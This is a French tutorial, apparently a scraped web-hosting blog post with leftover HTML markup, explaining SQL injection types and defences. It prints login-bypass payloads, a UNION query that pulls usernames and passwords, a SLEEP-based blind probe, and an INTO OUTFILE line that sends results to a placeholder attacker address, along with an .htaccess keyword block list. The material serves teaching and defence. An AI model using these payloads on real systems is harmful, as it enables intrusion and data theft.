Qu’est-ce qu’une injection SQL ?<\/h2>\n
SQL (Structured Query Language) est un langage qui nous permet d’interagir avec les bases de donn\u00e9es<\/a>. Les applications web modernes utilisent des bases de donn\u00e9es pour g\u00e9rer les donn\u00e9es et afficher un contenu dynamique aux lecteurs.<\/p>\n On parle d’injection SQL (ou SQLi) lorsqu’un utilisateur tente d’ins\u00e9rer des instructions SQL malveillantes dans une application web. S’il y parvient, il pourra acc\u00e9der aux donn\u00e9es sensibles de la base de donn\u00e9es.<\/p>\n En 2023, les injections SQL restent l’une des attaques les plus courantes sur le web. Rien qu’en 2022, 1162 vuln\u00e9rabilit\u00e9s li\u00e9es aux injections SQL<\/a> ont \u00e9t\u00e9 ajout\u00e9es \u00e0 la base de donn\u00e9es de s\u00e9curit\u00e9 CVE.<\/p>\n La bonne nouvelle, c’est que les injections SQL ne sont plus aussi r\u00e9pandues qu’auparavant. La plupart des applications ont \u00e9volu\u00e9 pour se prot\u00e9ger contre les attaques SQL.<\/p>\n En 2012, 97 % des violations de donn\u00e9es<\/a> \u00e9taient dues \u00e0 des injections SQL. Aujourd’hui, ce chiffre reste \u00e9lev\u00e9, mais il est beaucoup plus facile \u00e0 g\u00e9rer.<\/p>\n Une vuln\u00e9rabilit\u00e9 par injection SQL donne \u00e0 un pirate un acc\u00e8s complet \u00e0 la base de donn\u00e9es de votre application gr\u00e2ce \u00e0 l’utilisation d’instructions SQL malveillantes.<\/p>\n Prenons un exemple d’application vuln\u00e9rable.<\/p>\n Imaginez le flux de travail d’une application web typique qui implique des requ\u00eates de base de donn\u00e9es par le biais d’entr\u00e9es utilisateur. Vous saisissez les donn\u00e9es de l’utilisateur au moyen d’un formulaire, par exemple un formulaire de connexion. Vous interrogez ensuite votre base de donn\u00e9es avec les champs soumis par l’utilisateur pour l’authentifier. La structure de la requ\u00eate adress\u00e9e \u00e0 votre base de donn\u00e9es ressemble \u00e0 ceci :<\/p>\n Pour simplifier, supposons que vous stockez vos mots de passe en texte clair. Il est toutefois recommand\u00e9 de saler vos mots de passe<\/a>, puis de les hacher. Si vous avez re\u00e7u le nom d’utilisateur et le mot de passe du formulaire, vous pouvez d\u00e9finir la requ\u00eate en PHP comme suit :<\/p>\n Si quelqu’un saisit la valeur \u00ab admin’;- \u00bb dans le champ du nom d’utilisateur, la requ\u00eate SQL g\u00e9n\u00e9r\u00e9e par la variable $db_query sera la suivante :<\/p>\n Que fait cette requ\u00eate ?<\/p>\n En SQL, le symbole — commence un commentaire, de sorte que tout ce qui suit est ignor\u00e9. La v\u00e9rification du mot de passe est donc supprim\u00e9e de la requ\u00eate. Par cons\u00e9quent, si \u00ab admin \u00bb est un nom d’utilisateur valide, l’attaquant peut se connecter sans conna\u00eetre le mot de passe. Du moins, s’il n’y a pas de s\u00e9curit\u00e9 en place contre ce type d’attaques.<\/p>\n Dans cet exemple, une attaque bool\u00e9enne peut \u00e9galement \u00eatre utilis\u00e9e pour obtenir l’acc\u00e8s. Si un pirate saisit \u00ab password’ or 1=1;- \u00bb dans le champ du mot de passe, la requ\u00eate r\u00e9sultante sera la suivante :<\/p>\n Dans ce cas, m\u00eame si votre mot de passe est erron\u00e9, vous serez authentifi\u00e9 dans l’application. Si votre page web affiche les r\u00e9sultats de l’interrogation de la base de donn\u00e9es, un pirate peut utiliser la commande pour afficher les tables, la commande pour afficher les tables de la base de donn\u00e9es, puis supprimer s\u00e9lectivement des tables s’il le souhaite.<\/p>\n Exploits of a Mom, une bande dessin\u00e9e populaire de XKCD, montre la conversation d’une m\u00e8re avec l’\u00e9cole de son fils, o\u00f9 on lui demande si elle a vraiment appel\u00e9 son fils \u00ab Robert’) ; DROP TABLE Students ; – \u00bb\u00ab .<\/p>\n Maintenant que vous connaissez les bases d’une vuln\u00e9rabilit\u00e9 par injection SQL, explorons les diff\u00e9rents types d’attaques par injection SQL et la raison de chacune d’entre elles.<\/p>\n L’injection SQL en bande est la forme la plus simple d’injection SQL. Dans ce processus, l’attaquant est capable d’utiliser le m\u00eame canal pour ins\u00e9rer le code SQL malveillant dans l’application et recueillir les r\u00e9sultats.<\/p>\n Examinons deux formes d’attaques par injection SQL en bande.<\/p>\n Une attaque par erreur se produit lorsque quelqu’un manipule intentionnellement la requ\u00eate SQL pour g\u00e9n\u00e9rer une erreur dans la base de donn\u00e9es. Le message d’erreur renvoy\u00e9 par la base de donn\u00e9es contient souvent des informations sur la structure de la base de donn\u00e9es, que l’attaquant peut utiliser pour exploiter davantage le syst\u00e8me.<\/p>\n Par exemple, un pirate peut saisir ‘ OR ‘1’=’1 dans un champ de formulaire. Si l’application est vuln\u00e9rable, elle peut renvoyer un message d’erreur qui r\u00e9v\u00e8le des informations sur la base de donn\u00e9es.<\/p>\n Les attaques par injection SQL bas\u00e9es sur l’union utilisent l’op\u00e9rateur SQL UNION pour combiner les r\u00e9sultats de la requ\u00eate originale avec les r\u00e9sultats de requ\u00eates malveillantes inject\u00e9es.<\/p>\n Cela permet \u00e0 l’attaquant de r\u00e9cup\u00e9rer des informations dans d’autres tables de la base de donn\u00e9es :<\/p>\n Dans cette requ\u00eate, l’op\u00e9rateur UNION combine les r\u00e9sultats de la requ\u00eate originale avec les r\u00e9sultats de SELECT username<\/em>, password<\/em> FROM user_table<\/em>. Si l’application est vuln\u00e9rable et ne v\u00e9rifie pas correctement les entr\u00e9es des utilisateurs, elle peut renvoyer une page contenant les noms d’utilisateur et les mots de passe de la table des utilisateurs.<\/p>\n M\u00eame si un attaquant g\u00e9n\u00e8re une erreur dans la requ\u00eate SQL, la r\u00e9ponse \u00e0 la requ\u00eate peut ne pas \u00eatre transmise directement \u00e0 la page web. Dans ce cas, l’auteur de l’attaque devra proc\u00e9der \u00e0 d’autres v\u00e9rifications.<\/p>\n Dans cette forme d’injection SQL, l’attaquant envoie diverses requ\u00eates \u00e0 la base de donn\u00e9es afin d’\u00e9valuer la mani\u00e8re dont l’application analyse ces r\u00e9ponses. Une injection SQL inf\u00e9rentielle est parfois \u00e9galement connue sous le nom d’injection SQL aveugle.<\/p>\n Nous examinerons ci-dessous deux types d’injections SQL inf\u00e9rentielles, \u00e0 savoir l’injection SQL bool\u00e9enne et l’injection SQL temporelle : l’injection SQL bool\u00e9enne et l’injection SQL temporelle.<\/p>\n Si une requ\u00eate SQL entra\u00eene une erreur qui n’a pas \u00e9t\u00e9 trait\u00e9e en interne dans l’application, la page web r\u00e9sultante peut g\u00e9n\u00e9rer une erreur, charger une page blanche ou se charger partiellement. Dans une injection SQL bool\u00e9enne, un attaquant \u00e9value quelles parties de l’entr\u00e9e d’un utilisateur sont vuln\u00e9rables aux injections SQL en essayant deux versions diff\u00e9rentes d’une clause bool\u00e9enne \u00e0 travers l’entr\u00e9e :<\/p>\n Ces requ\u00eates sont con\u00e7ues pour avoir une condition qui sera soit vraie, soit fausse. Si la condition est vraie, la page se chargera normalement. Si elle est fausse, la page peut se charger diff\u00e9remment ou afficher une erreur.<\/p>\n En observant le chargement de la page, l’attaquant peut d\u00e9terminer si la condition \u00e9tait vraie ou fausse, m\u00eame s’il ne voit pas la requ\u00eate SQL r\u00e9elle ou la r\u00e9ponse de la base de donn\u00e9es. Si vous r\u00e9unissez plusieurs conditions similaires, vous pouvez lentement extraire des informations de la base de donn\u00e9es.<\/p>\n Une attaque par injection SQL bas\u00e9e sur le temps peut aider un attaquant \u00e0 d\u00e9terminer si une vuln\u00e9rabilit\u00e9 est pr\u00e9sente<\/a> dans une application web. Un attaquant utilise une fonction temporelle pr\u00e9d\u00e9finie du syst\u00e8me de gestion de base de donn\u00e9es utilis\u00e9 par l’application. Par exemple, dans MySQL<\/a>, la fonctionsleep()<\/em><\/a> demande \u00e0 la base de donn\u00e9es d’attendre un certain nombre de secondes.<\/p>\n Si une telle requ\u00eate entra\u00eene un d\u00e9lai, l’attaquant saura qu’elle est vuln\u00e9rable. Cette approche est similaire aux attaques bool\u00e9ennes dans la mesure o\u00f9 vous n’obtenez pas de r\u00e9ponse r\u00e9elle de la base de donn\u00e9es. Cependant, vous pouvez obtenir des informations si l’attaque r\u00e9ussit.<\/p>\n Dans une attaque par injection SQL hors bande, l’attaquant manipule la requ\u00eate SQL pour demander \u00e0 la base de donn\u00e9es de transmettre des donn\u00e9es \u00e0 un serveur contr\u00f4l\u00e9 par l’attaquant. Pour ce faire, il utilise g\u00e9n\u00e9ralement des fonctions de base de donn\u00e9es qui peuvent demander des ressources externes, telles que des requ\u00eates HTTP ou des requ\u00eates DNS.<\/p>\n Une attaque par injection SQL hors bande utilise une capacit\u00e9 de processus de fichier externe de votre SGBD. Dans MySQL, les fonctions LOAD_FILE() et INTO OUTFILE peuvent \u00eatre utilis\u00e9es pour demander \u00e0 MySQL de transmettre les donn\u00e9es \u00e0 une source externe.<\/p>\n Voici comment un attaquant peut utiliser OUTFILE pour envoyer les r\u00e9sultats d’une requ\u00eate \u00e0 une source externe :<\/p>\n De m\u00eame, la fonction LOAD_FILE() peut \u00eatre utilis\u00e9e pour lire un fichier sur le serveur et afficher son contenu. Une combinaison de LOAD_FILE() et OUTFILE peut \u00eatre utilis\u00e9e pour lire le contenu d’un fichier sur le serveur et le transmettre \u00e0 un autre emplacement.<\/p>\n Jusqu’\u00e0 pr\u00e9sent, nous avons explor\u00e9 les vuln\u00e9rabilit\u00e9s d’une application web qui peuvent conduire \u00e0 des attaques par injection SQL. Une vuln\u00e9rabilit\u00e9 de type injection SQL peut \u00eatre utilis\u00e9e par un attaquant pour lire, modifier ou m\u00eame supprimer le contenu de votre base de donn\u00e9es.<\/p>\n En outre, elle peut \u00e9galement permettre de lire un fichier \u00e0 n’importe quel endroit du serveur et d’en transf\u00e9rer le contenu ailleurs. Dans cette section, nous explorons diff\u00e9rentes techniques pour prot\u00e9ger votre application web et votre site web contre les attaques par injection SQL.<\/p>\n D’une mani\u00e8re g\u00e9n\u00e9rale, il est difficile de d\u00e9terminer si une cha\u00eene de caract\u00e8res utilisateur est malveillante ou non. C’est pourquoi une approche courante consiste \u00e0 \u00e9chapper les caract\u00e8res sp\u00e9ciaux dans les entr\u00e9es utilisateur. Ce processus peut vous aider \u00e0 vous prot\u00e9ger contre les attaques par injection SQL.<\/p>\n En PHP, vous pouvez \u00e9chapper une cha\u00eene de caract\u00e8res avant de construire la requ\u00eate \u00e0 l’aide de la fonction Lorsque vous affichez des donn\u00e9es utilisateur au format HTML, il est \u00e9galement important de convertir les caract\u00e8res sp\u00e9ciaux en caract\u00e8res HTML correspondants afin de pr\u00e9venir les attaques de type Cross-Site Scripting (XSS). Vous pouvez convertir les caract\u00e8res sp\u00e9ciaux en PHP en utilisant la fonction Vous pouvez \u00e9galement utiliser des instructions pr\u00e9par\u00e9es pour \u00e9viter les injections SQL. Une instruction pr\u00e9par\u00e9e est un mod\u00e8le de requ\u00eate SQL, dans lequel vous sp\u00e9cifiez des param\u00e8tres \u00e0 un stade ult\u00e9rieur pour l’ex\u00e9cuter.<\/p>\n Voici un exemple d’instruction pr\u00e9par\u00e9e en PHP et MySQLi :<\/p>\n L’\u00e9tape suivante pour att\u00e9nuer cette vuln\u00e9rabilit\u00e9 consiste \u00e0 limiter l’acc\u00e8s \u00e0 la base de donn\u00e9es au strict n\u00e9cessaire.<\/p>\n Par exemple, vous pouvez connecter votre application web au SGBD en utilisant un utilisateur sp\u00e9cifique qui n’a acc\u00e8s qu’\u00e0 la base de donn\u00e9es concern\u00e9e.<\/p>\n En outre, vous voudrez restreindre l’acc\u00e8s de l’utilisateur de la base de donn\u00e9es \u00e0 tous les autres emplacements du serveur. Vous pouvez \u00e9galement souhaiter bloquer certains mots-cl\u00e9s SQL dans votre URL via votre serveur web.<\/p>\n Si vous utilisez Apache<\/a> comme serveur web, vous pouvez utiliser les lignes de code suivantes dans votre fichier .htaccess<\/a><\/em> pour afficher une erreur403 Forbidden<\/em><\/a> \u00e0 un attaquant potentiel.<\/p>\n Soyez prudent avant d’utiliser cette technique, car Apache affichera une erreur \u00e0 un lecteur si l’URL contient ces mots-cl\u00e9s.<\/p>\nComment fonctionne la vuln\u00e9rabilit\u00e9 d’injection SQL ?<\/h2>\n
select * from user_table\nwhere username = 'sdaityari'\nand password = 'mypassword';<\/code><\/pre>\n\/\/ Connect to SQL database\n$db_query = \"select * from user_table where\nusername = '\".$user.\"'\nAND password = '\".$password.\"';\";\n\/\/ Execute query<\/code><\/pre>\nselect * from user_table where\nusername = 'admin';--' and password = 'mypassword'<\/code><\/pre>\nselect * from user_table where\nusername = 'admin' and\npassword = 'password' or 1=1;--';<\/code><\/pre>\n![\"Une](\"https:\/\/kinsta.com\/wp-content\/uploads\/2023\/09\/sql-injection-cartoon.png\")
Types d’injection SQL<\/h2>\n
Injection SQL en bande<\/h3>\n
Attaque par erreur<\/h4>\n
Attaque bas\u00e9e sur l’union<\/h4>\n
select title, link from post_table\nwhere id < 10\nunion\nselect username, password\nfrom user_table; --;<\/code><\/pre>\nInjection SQL inf\u00e9rentielle (injection SQL aveugle)<\/h2>\n
Attaque bool\u00e9enne<\/h4>\n
\n
Attaque temporelle<\/h4>\n
select * from comments\nWHERE post_id=1-SLEEP(15);<\/code><\/pre>\nInjection SQL hors bande<\/h2>\n
select * from post_table\ninto OUTFILE '\\\\MALICIOUS_IP_ADDRESSlocation'<\/code><\/pre>\nComment pr\u00e9venir les injections SQL<\/h2>\n
\u00c9chapper les entr\u00e9es de l’utilisateur<\/h3>\n
mysqli_real_escape_string()<\/code>:<\/p>\n$unsafe_variable = $_POST[\"user_input\"]; $safe_variable = mysqli_real_escape_string($conn, $unsafe_variable);<\/code><\/pre>\nhtmlspecialchars()<\/code>.<\/p>\nUtiliser des instructions pr\u00e9par\u00e9es<\/h3>\n
$query = $mysql_connection->prepare(\"select * from user_table where username = ? and password = ?\");\n$query->execute(array($username, $password));<\/code><\/pre>\nAutres contr\u00f4les d’hygi\u00e8ne pour pr\u00e9venir les attaques SQL<\/h3>\n
RewriteCond %{QUERY_STRING} [^a-z](declare\u00a6char\u00a6set\u00a6cast\u00a6convert\u00a6delete\u00a6drop\u00a6exec\u00a6insert\u00a6meta\u00a6script\u00a6select\u00a6truncate\u00a6update)[^a-z] [NC]\nRewriteRule (.*) - [F]<\/code><\/pre>\n